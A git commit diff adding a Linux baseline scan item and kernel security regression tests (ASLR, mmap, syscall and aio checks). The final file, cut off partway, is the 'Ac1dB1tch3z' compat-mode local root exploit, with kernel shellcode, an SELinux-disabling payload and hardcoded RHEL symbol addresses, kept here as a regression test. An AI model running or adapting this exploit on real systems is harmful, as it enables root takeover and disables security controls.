mirror of https://gitee.com/openkylin/genmai.git
新增基线扫 描项'33启用内核地址限制'
This commit is contained in:
parent
46d40cf433
commit
97ed776643
|
@ -0,0 +1,73 @@
|
|||
|
||||
import os
|
||||
import sys
|
||||
|
||||
################################
|
||||
# 常量
|
||||
|
||||
# for get_env_lang()
|
||||
STR_GET_ENV_LANG_ZH = "语言环境为中文"
|
||||
STR_GET_ENV_LANG_EN = "语言环境为英文"
|
||||
STR_GET_ENV_LANG_UNKNOW = "语言环境未知"
|
||||
|
||||
################################
|
||||
# 环境检查函数
|
||||
|
||||
def get_env_lang():
|
||||
# lang = os.getenv("LANG")
|
||||
# if lang.startswith("zh"):
|
||||
# return STR_GET_ENV_LANG_ZH
|
||||
# elif lang.startswith("en"):
|
||||
# return STR_GET_ENV_LANG_EN
|
||||
# else:
|
||||
# return STR_GET_ENV_LANG_UNKNOW
|
||||
#
|
||||
if arg_lang == "zh":
|
||||
return STR_GET_ENV_LANG_ZH
|
||||
elif arg_lang == "en":
|
||||
return STR_GET_ENV_LANG_EN
|
||||
else:
|
||||
return STR_GET_ENV_LANG_UNKNOW
|
||||
|
||||
def is_root():
|
||||
if os.geteuid() == 0:
|
||||
print(STR_IS_ROOT_TRUE)
|
||||
return True
|
||||
else:
|
||||
print(STR_IS_ROOT_FALSE)
|
||||
return False
|
||||
|
||||
################################
|
||||
# 辅助函数
|
||||
def l_print(zh_str, en_str) :
|
||||
if STR_GET_ENV_LANG_ZH == get_env_lang() :
|
||||
print(zh_str);
|
||||
else :
|
||||
print(en_str);
|
||||
|
||||
|
||||
################################
|
||||
# 功能函数
|
||||
def kernel_symbols_acl():
|
||||
#print(os.system('sudo python2 -m unittest test-kernel-security.KernelSecurityTest.test_095_kernel_symbols_acl'))
|
||||
output = os.popen('sudo python2 -m unittest test-kernel-security.KernelSecurityTest.test_095_kernel_symbols_acl 2>&1').read().strip()
|
||||
|
||||
|
||||
|
||||
if "OK" in output:
|
||||
l_print("[OK] 测试通过",
|
||||
"[OK] pass")
|
||||
else:
|
||||
l_print("[ERROR] 测试未通过",
|
||||
"[ERROR] fail")
|
||||
|
||||
################################
|
||||
# main
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv)>1:
|
||||
arg_lang = sys.argv[1]
|
||||
else:
|
||||
arg_lang = 'zh'
|
||||
|
||||
kernel_symbols_acl()
|
||||
exit(0)
|
|
@ -0,0 +1,22 @@
|
|||
FormatVer: 20230623
|
||||
Id: kernel_symbols_acl
|
||||
Belong: baseline
|
||||
SiteInfo:
|
||||
Name: 33启用内核地址限制
|
||||
Power : "root"
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter : python3
|
||||
InterArgs :
|
||||
Exec : 33启用内核地址限制.py
|
||||
Args :
|
||||
Inter:
|
||||
- "[ERROR]"
|
||||
Condition: None
|
||||
RepairArgs:
|
||||
- Inter : python3
|
||||
InterArgs :
|
||||
Exec :
|
||||
Args :
|
||||
RepairPower: #root # root权限或者普通用户权限
|
|
@ -0,0 +1,11 @@
|
|||
SUBDIRS=aio aslr bad-syscall compat guard-page inotify mem memmove min-addr nx proc-maps ptrace seccomp seccomp_filter setsockopt signalstack userns
|
||||
|
||||
all:
|
||||
set -e && for dir in $(SUBDIRS) ; do \
|
||||
make -C $${dir} ; \
|
||||
done
|
||||
|
||||
clean:
|
||||
for dir in $(SUBDIRS) ; do \
|
||||
make -C $${dir} clean ; \
|
||||
done
|
Binary file not shown.
|
@ -0,0 +1,31 @@
|
|||
/*
|
||||
test for CVE-2016-10044
|
||||
|
||||
origin: https://git.kernel.org/linus/22f6b4d34fcf039c63a94e7670e0da24f8575a5a
|
||||
|
||||
In the output, "rw-s" is good, "rwxs" is bad.
|
||||
|
||||
Author: Jann Horn <jann@thejh.net>
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <sys/personality.h>
|
||||
#include <linux/aio_abi.h>
|
||||
#include <err.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/syscall.h>
|
||||
|
||||
int main(void) {
|
||||
personality(READ_IMPLIES_EXEC);
|
||||
aio_context_t ctx = 0;
|
||||
if (syscall(__NR_io_setup, 1, &ctx))
|
||||
err(1, "io_setup");
|
||||
|
||||
char cmd[1000];
|
||||
sprintf(cmd, "cat /proc/%d/maps | grep -F '/[aio]'", (int)getpid());
|
||||
system(cmd);
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
all: CVE-2016-10044
|
||||
|
||||
CFLAGS=-Wall
|
||||
|
||||
clean:
|
||||
rm -f CVE-2016-10044
|
|
@ -0,0 +1,35 @@
|
|||
override CFLAGS+=-Wall -Wformat-security -D_FORTIFY_SOURCE=2 -O2
|
||||
|
||||
EXECS=aslr mmap-growth-direction
|
||||
ARCH=$(shell dpkg --print-architecture)
|
||||
|
||||
# ppc64el/s390x/arm64 breaks when compiling -m32
|
||||
# ifneq ($(ARCH),ppc64el)
|
||||
ifeq (,$(filter $(ARCH), ppc64el s390x arm64))
|
||||
EXECS+=aslr32
|
||||
endif
|
||||
|
||||
all: $(EXECS)
|
||||
|
||||
aslr: aslr.c
|
||||
$(CC) $(CFLAGS) -fPIC -pie -o $@ $< -ldl
|
||||
|
||||
# ppc64el/s390x/arm64 breaks when compiling -m32
|
||||
# ifneq ($(ARCH),ppc64el)
|
||||
ifeq (,$(filter $(ARCH), ppc64el s390x arm64))
|
||||
# s390x needs -m31 for building compat mode bins
|
||||
ifeq ($(ARCH),s390x)
|
||||
COMPAT_FLAG=-m31
|
||||
else
|
||||
COMPAT_FLAG=-m32
|
||||
endif
|
||||
|
||||
aslr32: aslr.c
|
||||
$(CC) $(CFLAGS) $(COMPAT_FLAG) -fPIC -pie -o $@ $< -ldl
|
||||
endif
|
||||
|
||||
mmap-growth-direction: mmap-growth-direction.c
|
||||
$(CC) $(CFLAGS) -fPIC -pie -o $@ $<
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS)
|
Binary file not shown.
|
@ -0,0 +1,260 @@
|
|||
/* Compile: gcc -fPIC -pie -o aslr aslr.c -ldl */
|
||||
/* Run: ./aslr [stack|libs|text|brk|mmap|vdso] */
|
||||
/*
|
||||
* Copyright 2007-2009, Canonical, Ltd.
|
||||
* Author: Kees Cook <kees@ubuntu.com>
|
||||
* License: GPLv3
|
||||
*
|
||||
* If "libs" is randomzied, it almost certainly means that "mmap" is too,
|
||||
* since they both should be using kernel mmap heap allocations.
|
||||
*
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <dlfcn.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
void launch(char * prog, char * buf, int size)
|
||||
{
|
||||
FILE *proc;
|
||||
if (!(proc = popen(prog, "r"))) {
|
||||
perror(prog);
|
||||
exit(1);
|
||||
}
|
||||
if (!fgets(buf, size, proc)) {
|
||||
snprintf(buf,size, "self-exec failed!\n");
|
||||
}
|
||||
if ( pclose(proc) < 0 ) {
|
||||
perror(prog);
|
||||
}
|
||||
}
|
||||
|
||||
void usage(char *argv[])
|
||||
{
|
||||
const char *options = "(stack|vdso|text|brk|mmap|libs|pie)";
|
||||
fprintf(stderr,"External Usage: %s [rekey] %s [--verbose]\n",argv[0],options);
|
||||
fprintf(stderr,"Interal Usage:\n");
|
||||
fprintf(stderr," normal: %s --report %s\n",argv[0],options);
|
||||
fprintf(stderr," rekey: %s --different %s check_address\n",argv[0],options);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
#define AREA_MAPS 0
|
||||
#define AREA_STACK 1
|
||||
#define AREA_VDSO 2
|
||||
#define AREA_TEXT 3
|
||||
#define AREA_BRK 4
|
||||
#define AREA_MMAP 5
|
||||
#define AREA_LIBS 6
|
||||
#define AREA_PIE 7
|
||||
|
||||
int validate_area(char *area, char * argv[])
|
||||
{
|
||||
if (!strcmp(area,"maps")) return AREA_MAPS;
|
||||
if (!strcmp(area,"stack")) return AREA_STACK;
|
||||
if (!strcmp(area,"vdso")) return AREA_VDSO;
|
||||
if (!strcmp(area,"text")) return AREA_TEXT;
|
||||
if (!strcmp(area,"brk")) return AREA_BRK;
|
||||
if (!strcmp(area,"mmap")) return AREA_MMAP;
|
||||
if (!strcmp(area,"libs")) return AREA_LIBS;
|
||||
if (!strcmp(area,"pie")) return AREA_PIE;
|
||||
usage(argv); /* This never returns. */
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* This function intentionally leaks allocations. */
|
||||
uintptr_t area_pointer(int area)
|
||||
{
|
||||
uintptr_t ptr;
|
||||
char stack_str[128];
|
||||
int stack_int = 12;
|
||||
|
||||
/* Try to defeat compiler optimizations and always put stack to work. */
|
||||
sprintf(stack_str, "%d", stack_int * area);
|
||||
|
||||
switch (area) {
|
||||
case AREA_TEXT:
|
||||
/* where did some function end up in memory? */
|
||||
return (uintptr_t)&usage;
|
||||
case AREA_BRK:
|
||||
/* where does small heap-allocated memory end up? */
|
||||
// this should be a brk (less than 128K alloc)
|
||||
ptr = (uintptr_t)malloc(1024);
|
||||
/* Due to text randomization, our brk may appear randomized,
|
||||
when in fact it is statically offset from the text address.
|
||||
Compensate for this by subtracting the text address before
|
||||
reporting. */
|
||||
return ptr - area_pointer(AREA_TEXT);
|
||||
case AREA_MMAP:
|
||||
/* where does large heap-allocated memory end up? */
|
||||
// this should be a mmap (more than 128K alloc)
|
||||
return (uintptr_t)malloc(1024*1024);
|
||||
case AREA_LIBS:
|
||||
/* where is this function loaded? */
|
||||
return (uintptr_t)dlsym(RTLD_DEFAULT, "dlsym");
|
||||
case AREA_STACK:
|
||||
/*
|
||||
* GCC warns about returning stack addresses, but this should
|
||||
* obfuscate it.
|
||||
*/
|
||||
ptr = (uintptr_t)stack_str;
|
||||
return ptr;
|
||||
case AREA_MAPS:
|
||||
/* AREA_MAPS just dumps the maps file... */
|
||||
/* Fall-through... */
|
||||
case AREA_VDSO: {
|
||||
FILE *fp = NULL;
|
||||
char buf[128];
|
||||
|
||||
/* locate the vdso from the maps file */
|
||||
fp = fopen("/proc/self/maps","r");
|
||||
if (fp) {
|
||||
while (fgets(buf,128,fp)) {
|
||||
if (area == AREA_MAPS) printf("%s", buf);
|
||||
if (strstr(buf, "[vdso]\n")) {
|
||||
char * dash = strchr(buf,'-');
|
||||
if (dash) {
|
||||
*dash='\0';
|
||||
return strtoul(buf, NULL, 16);
|
||||
}
|
||||
}
|
||||
}
|
||||
fclose(fp);
|
||||
if (area == AREA_MAPS)
|
||||
exit(0);
|
||||
|
||||
/* Only way to get here would be to miss [vdso]. */
|
||||
fprintf(stderr, "[vdso] missing from /proc/self/maps!?\n");
|
||||
exit(2);
|
||||
}
|
||||
perror("/proc/self/maps");
|
||||
exit(2);
|
||||
break;
|
||||
}
|
||||
case AREA_PIE: {
|
||||
/*
|
||||
* Full PIE ASLR means that text is randomized separately
|
||||
* from mmap. To show this, just calculate a delta between
|
||||
* the two locations, similar to how we check brk ASLR.
|
||||
*/
|
||||
fprintf(stderr, "[pie] AREA_MMAP: %p\tAREA_TEXT: %p\n", area_pointer(AREA_MMAP),
|
||||
area_pointer(AREA_TEXT));
|
||||
return area_pointer(AREA_MMAP) - area_pointer(AREA_TEXT);
|
||||
}
|
||||
default:
|
||||
fprintf(stderr, "Internal error: Unknown area report requested (%d)\n", area);
|
||||
exit(255);
|
||||
break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns a string containing the hex representation of the computed
|
||||
* address.
|
||||
*/
|
||||
char *area_report(int area)
|
||||
{
|
||||
char *ptr;
|
||||
|
||||
if (asprintf(&ptr, "%#0*" PRIxPTR, (int)sizeof(unsigned long) * 2,
|
||||
area_pointer(area)) < 0) {
|
||||
perror("asprintf");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return ptr;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
char * area_str;
|
||||
int area, optind;
|
||||
char * ptr = NULL;
|
||||
int rekey = 0, report = 0, different = 0;
|
||||
|
||||
if (argc<2) usage(argv);
|
||||
|
||||
optind = 1;
|
||||
area_str = argv[optind++];
|
||||
if (area_str[0] == '-') {
|
||||
if (!strcmp(area_str, "--report")) report = 1;
|
||||
if (!strcmp(area_str, "--different")) different = 1;
|
||||
area_str = argv[optind++];
|
||||
}
|
||||
if (!strcmp(area_str,"rekey")) {
|
||||
rekey = 1;
|
||||
area_str = argv[optind++];
|
||||
}
|
||||
area = validate_area(area_str,argv);
|
||||
|
||||
if (report) {
|
||||
ptr = area_report(area);
|
||||
printf("%s\n", ptr);
|
||||
}
|
||||
else if (different) {
|
||||
void * unexpected = NULL;
|
||||
unexpected = (void*)strtoul(argv[optind],NULL,16);
|
||||
ptr = area_report(area);
|
||||
if (ptr == unexpected) {
|
||||
printf("FAIL: prior ASLR of %s was also %p!\n", area_str, ptr);
|
||||
exit(1);
|
||||
}
|
||||
else {
|
||||
printf("ok: prior ASLR of %s was %p. Got %p this time.\n", area_str, unexpected, ptr);
|
||||
}
|
||||
}
|
||||
else {
|
||||
int verbose = 0;
|
||||
char * eol;
|
||||
char prog[128];
|
||||
char report_one[128], report_two[128], report_three[128];
|
||||
|
||||
if (argc>2 && !strcmp(argv[2], "--verbose")) verbose = 1;
|
||||
if (argc>3 && !strcmp(argv[3], "--verbose")) verbose = 1;
|
||||
|
||||
if (verbose) { printf("Checking ASLR %sof %s:\n", rekey ? "rekeying " : "", area_str); }
|
||||
|
||||
if (!rekey) {
|
||||
snprintf(prog, 128, "%s --report %s", argv[0], area_str);
|
||||
launch(prog, report_one, 128);
|
||||
launch(prog, report_two, 128);
|
||||
launch(prog, report_three, 128);
|
||||
|
||||
/* drop trailing LF */
|
||||
if ((eol=strchr(report_one,'\n'))) *eol='\0';
|
||||
if ((eol=strchr(report_two,'\n'))) *eol='\0';
|
||||
if ((eol=strchr(report_three,'\n'))) *eol='\0';
|
||||
|
||||
if (verbose) {
|
||||
printf("\t%s\n", report_one);
|
||||
printf("\t%s\n", report_two);
|
||||
printf("\t%s\n", report_three);
|
||||
}
|
||||
|
||||
if (report_one[0] && report_two[0] && report_three[0] &&
|
||||
strcmp(report_one, report_two) == 0 &&
|
||||
strcmp(report_one, report_three) == 0 &&
|
||||
strcmp(report_three, report_two) == 0) {
|
||||
printf("FAIL: ASLR not functional (%s always at %s)\n", area_str, report_one);
|
||||
return 1;
|
||||
}
|
||||
else {
|
||||
printf("ok: ASLR of %s functional\n", area_str);
|
||||
}
|
||||
}
|
||||
else { /* rekey checking */
|
||||
ptr = area_report(area);
|
||||
execl(argv[0], argv[0], "--different", area_str, ptr, NULL);
|
||||
perror(argv[0]);
|
||||
exit(127);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,73 @@
|
|||
/* Check VM memory growth directions
|
||||
*
|
||||
* Compile: gcc -fPIC -pie mmap-growth-direction.c -o mmap-growth-direction
|
||||
* Run: ./mmap-growth-direction [--maps]
|
||||
*
|
||||
* Check heap/stack gap...
|
||||
* MAP=$(./mmap-growth-direction --maps | egrep 'heap|stack' | tail -n2); stack=$(echo "$MAP" | grep stack | cut -d" " -f1 | cut -d- -f2 | tr a-f A-F); heap=$(echo "$MAP" | grep heap | cut -d" " -f1 | cut -d- -f1 | tr a-f A-F); (echo "ibase=16"; echo "obase=10"; echo "$stack - $heap") | bc
|
||||
*
|
||||
* Note that with "ulimit -s unlimited", "[heap]" is no longer shown, so the
|
||||
* above heap/stack gap can't be measured using the above recipe.
|
||||
*
|
||||
* Copyright 2007, Canonical Ltd
|
||||
* Author: Kees Cook <kees@ubuntu.com>
|
||||
* License: GPLv3
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define do_malloc(ptr,size) { \
|
||||
unsigned int i; \
|
||||
if (!((ptr)=malloc(size))) { \
|
||||
perror("malloc"); \
|
||||
return 1; \
|
||||
} \
|
||||
/* do work on the allocation just to be sure we don't get reordered */ \
|
||||
for (i =0; i < (size); i++) { ptr[i]=0x01; } \
|
||||
}
|
||||
|
||||
char buf[1024];
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
char * mmap1 = NULL;
|
||||
char * mmap2 = NULL;
|
||||
|
||||
char * brk1 = NULL;
|
||||
char * brk2 = NULL;
|
||||
|
||||
if (argc>1) {
|
||||
sprintf(buf,"cat /proc/%u/maps",getpid());
|
||||
if (system(buf)<0) return 1;
|
||||
}
|
||||
|
||||
// perform > 128K allocations to force glibc to perform mmap alloc
|
||||
do_malloc(mmap1,1024*1024);
|
||||
do_malloc(mmap2,1024*1024);
|
||||
|
||||
if (mmap2>mmap1) {
|
||||
printf("mmap allocations grow down (%p > %p)\n", mmap2, mmap1);
|
||||
}
|
||||
else {
|
||||
printf("mmap allocations grow up (%p <= %p)\n", mmap2, mmap1);
|
||||
}
|
||||
|
||||
// perform < 128K allocations to force glibc to perform brk alloc
|
||||
do_malloc(brk1,1024);
|
||||
do_malloc(brk2,1024);
|
||||
|
||||
if (brk2>brk1) {
|
||||
printf("brk allocations grow down (%p > %p)\n", brk2, brk1);
|
||||
}
|
||||
else {
|
||||
printf("brk allocations grow up (%p <= %p)\n", brk2, brk1);
|
||||
}
|
||||
|
||||
if (argc>1) {
|
||||
if (system(buf)<0) return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,11 @@
|
|||
CFLAGS=-Wall -Wformat-security -D_FORTIFY_SOURCE=2 -O2
|
||||
|
||||
EXECS=bad-syscall
|
||||
|
||||
all: $(EXECS)
|
||||
|
||||
bad-syscall: bad-syscall-test.c
|
||||
$(CC) $(CFLAGS) -o $@ $<
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS)
|
|
@ -0,0 +1,29 @@
|
|||
/*
|
||||
* Based on the testcase provided in LP: #339743 -- specifically, we're
|
||||
* interested in the return code for an invalid syscall invoked
|
||||
* i386-style with int $0x80; in the bug report above, the amd64 kernel
|
||||
* returned the invalid syscall number (i.e. 666666 in the code below)
|
||||
* instead of -ENOSYS.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int ret;
|
||||
int syscall = 666666;
|
||||
|
||||
asm("int $0x80": "=a" (ret): "a" (syscall));
|
||||
|
||||
if (ret != -ENOSYS) {
|
||||
printf("FAIL: syscall(%d) returned %d (%s)\n",
|
||||
syscall, ret, strerror(-ret));
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,938 @@
|
|||
/*
|
||||
|
||||
Ac1dB1tch3z Vs Linux Kernel x86_64 0day
|
||||
|
||||
Today is a sad day..
|
||||
|
||||
R.I.P.
|
||||
Tue, 29 Apr 2008 / Tue, 7 Sep 2010
|
||||
|
||||
a bit of history:
|
||||
MCAST_MSFILTER Compat mode bug found... upon commit! (2 year life on this one)
|
||||
|
||||
author David L Stevens <dlstevens@us.ibm.com>
|
||||
Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)
|
||||
committer David S. Miller <davem@davemloft.net>
|
||||
Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)
|
||||
This patch adds support for getsockopt for MCAST_MSFILTER for
|
||||
both IPv4 and IPv6. It depends on the previous setsockopt patch,
|
||||
and uses the same method.
|
||||
|
||||
Signed-off-by: David L Stevens <dlstevens@us.ibm.com>
|
||||
Signed-off-by: YOSHIFUJI Hideaki <yoshfuji@linux-ipv6.org>
|
||||
Signed-off-by: David S. Miller <davem@davemloft.net>
|
||||
------------------------------------------------------------
|
||||
|
||||
Thank you for signing-off on this one guys.
|
||||
|
||||
This exploit has been tested very thoroughly
|
||||
over the course of the past few years on many many targets.
|
||||
|
||||
Thanks to redhat for being nice enough to backport it into early
|
||||
kernel versions (anything from later August 2008+)
|
||||
|
||||
Ac1dB1tch3z would like to say FUCK YOU Ben Hawkes. You are a new hero! You saved the
|
||||
plan8 man. Just a bit too l8.
|
||||
|
||||
PS:
|
||||
OpenVZ Payload / GRsec bypass removed for kidiots and fame whores. (same thing right ;))
|
||||
|
||||
*/
|
||||
|
||||
/*
|
||||
Made vaguely readable again by Kees Cook <kees@ubuntu.com>
|
||||
*/
|
||||
|
||||
#include <poll.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sched.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
#include <errno.h>
|
||||
|
||||
|
||||
#ifndef __i386__
|
||||
int main(void) {
|
||||
printf("This really only works on compat systems, and this test was\n");
|
||||
printf("written for amd64 built with -m32...\n");
|
||||
return 1;
|
||||
}
|
||||
#else
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#define VERT "\033[32m"
|
||||
#define NORM "\033[0m"
|
||||
#define BANNER VERT"Ac1dB1tCh3z "NORM"VS Linux kernel 2.6 kernel 0d4y\n"
|
||||
|
||||
#define KALLSYMS "/proc/kallsyms"
|
||||
#define TMAGIC_66TDFDRTS "/proc/timer_list"
|
||||
#define SELINUX_PATH "/selinux/enforce"
|
||||
#define RW_FOPS "timer_list_fops"
|
||||
#define PER_CPU_CURRENT_TASK "per_cpu__current_task"
|
||||
#define PREPARE_CREDS "prepare_creds"
|
||||
#define OVERRIDE_CREDS "override_creds"
|
||||
#define REVERT_CREDS "revert_creds"
|
||||
#define Y0Y0SMAP 0x100000UL
|
||||
#define Y0Y0CMAP 0x200000UL
|
||||
#define Y0Y0STOP (Y0Y0SMAP+0xFFC)
|
||||
#define J0J0S 0x00200000UL
|
||||
#define J0J0R00T 0x002000F0UL
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
#define KERN_NEEDS_CPU_OFFSET 0x1
|
||||
#define KERN_NEEDS_CREDS_SHELLCODE 0x2
|
||||
#define KERN_HAS_READABLE_KSYMS 0x4
|
||||
|
||||
|
||||
#define KERN__IDT 0x8
|
||||
#define KERN__FOPS 0x10
|
||||
#define KERN__LSM 0x20
|
||||
|
||||
#define KERN__SELINUX 0x40
|
||||
|
||||
#define is_rhel(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
|
||||
|
||||
#define TRY_REMAP_DEFAULT 1
|
||||
|
||||
#define print_stderr(f, a...) do { fprintf(stdout, f, ## a); } while(0)
|
||||
#define print_stdout(s) do { fprintf(stdout, "%s", s); } while(0)
|
||||
#define perror_fatal(s) do { perror(s); exit(1); } while(0)
|
||||
#define print_fatal(s) do { fprintf(stderr, s); exit(1); } while(0)
|
||||
|
||||
static char buffer[1024];
|
||||
static int s;
|
||||
static int flags=0;
|
||||
volatile static socklen_t magiclen=0;
|
||||
static int useidt=0, usefops=0, uselsm=0;
|
||||
static unsigned long long _m_fops=0,_m_cred[3] = {0,0,0};
|
||||
static unsigned int _m_cpu_off=0;
|
||||
static char krelease[64];
|
||||
static char kversion[128];
|
||||
|
||||
#define R0C_0FF 14
|
||||
static char ttrg0ccc[]=
|
||||
"\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"
|
||||
"\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"
|
||||
"\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"
|
||||
"\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"
|
||||
"\xeb\xcc\x5e\x5b\x5f\x59\xc3";
|
||||
|
||||
|
||||
#define R0YTTTTUHLFSTT_OFF1 5
|
||||
#define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
|
||||
#define R0TDGFSRSLLSJ_SHSYSTGD 45
|
||||
char r1ngrrrrrrr[]=
|
||||
"\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3"
|
||||
"\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42"
|
||||
"\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7"
|
||||
"\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"
|
||||
"\xff\xd3\x5f\x5f\x5a\x5b\xc3";
|
||||
|
||||
|
||||
#define RJMPDDTGR_OFF 13
|
||||
#define RJMPDDTGR_DHDYTGSCAVSF 7
|
||||
#define RJMPDDTGR_GDTDGTSFRDFT 25
|
||||
static char ttrfd0[]=
|
||||
"\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
|
||||
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
|
||||
"\x58\x5f"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\xc3";
|
||||
|
||||
|
||||
/* implement selinux bypass for IDT ! */
|
||||
#define RJMPDDTGR_OFF_IDT 14
|
||||
#define RJMPDDTGR_DYHHTSFDARE 8
|
||||
#define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
|
||||
static char shellcode_selinux_bypass_idt[]=
|
||||
"\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
|
||||
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
|
||||
"\x0f\x01\xf8"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x48\xcf";
|
||||
|
||||
|
||||
|
||||
#define CJE_4554TFFDTRMAJHD_OFF 10
|
||||
#define RJMPDDTGR_AYYYDGTREFCCV7761_OF 23
|
||||
static char dis4blens4sel1nuxhayettgdr64545[]=
|
||||
"\x41\x52\x50"
|
||||
"\xb8\x00\x00\x00\x00"
|
||||
"\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
|
||||
"\x41\x89\x02"
|
||||
"\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
|
||||
"\x41\x89\x02"
|
||||
"\x58\x41\x5a";
|
||||
|
||||
|
||||
|
||||
|
||||
/* rhel LSM stuffs */
|
||||
#define RHEL_LSM_OFF 98
|
||||
|
||||
struct LSM_rhel
|
||||
{
|
||||
unsigned long long selinux_ops;
|
||||
unsigned long long capability_ops;
|
||||
unsigned long long dummy_security_ops;
|
||||
|
||||
unsigned long long selinux_enforcing;
|
||||
unsigned long long audit_enabled;
|
||||
|
||||
const char *krelease;
|
||||
const char *kversion;
|
||||
|
||||
};
|
||||
|
||||
struct LSM_rhel known_targets[4]=
|
||||
{
|
||||
{
|
||||
0xffffffff8031e600ULL,
|
||||
0xffffffff8031fec0ULL,
|
||||
0xffffffff804acc00ULL,
|
||||
|
||||
0xffffffff804af960ULL,
|
||||
0xffffffff8049b124ULL,
|
||||
|
||||
"2.6.18-164.el5",
|
||||
"#1 SMP Thu Sep 3 03:28:30 EDT 2009" // to manage minor/bug fix changes
|
||||
},
|
||||
{
|
||||
0xffffffff8031f600ULL,
|
||||
0xffffffff80320ec0ULL,
|
||||
0xffffffff804afc00ULL,
|
||||
|
||||
0xffffffff804b2960ULL,
|
||||
0xffffffff8049e124ULL,
|
||||
|
||||
"2.6.18-164.11.1.el5",
|
||||
"#1 SMP Wed Jan 6 13:26:04 EST 2010"
|
||||
},
|
||||
{
|
||||
0xffffffff805296a0ULL,
|
||||
0xffffffff8052af60ULL,
|
||||
0xffffffff806db1e0ULL,
|
||||
|
||||
0xffffffff806ddf40ULL,
|
||||
0xffffffff806d5324ULL,
|
||||
|
||||
"2.6.18-164.11.1.el5xen",
|
||||
"#1 SMP Wed Jan 20 08:06:04 EST 2010" // default xen
|
||||
},
|
||||
{
|
||||
0xffffffff8031f600ULL,// d selinux_ops
|
||||
0xffffffff80320ec0ULL,// d capability_ops
|
||||
0xffffffff804afc00ULL,// B dummy_security_ops
|
||||
|
||||
0xffffffff804b2960ULL,// B selinux_enforcing
|
||||
0xffffffff8049e124ULL,// B audit_enabled
|
||||
|
||||
"2.6.18-164.11.1.el5",
|
||||
"#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
static struct LSM_rhel *curr_target=NULL, dynamic_target;
|
||||
|
||||
struct socketcallAT
|
||||
{
|
||||
int s;
|
||||
int level;
|
||||
int optname;
|
||||
void *optval;
|
||||
volatile socklen_t *optlen;
|
||||
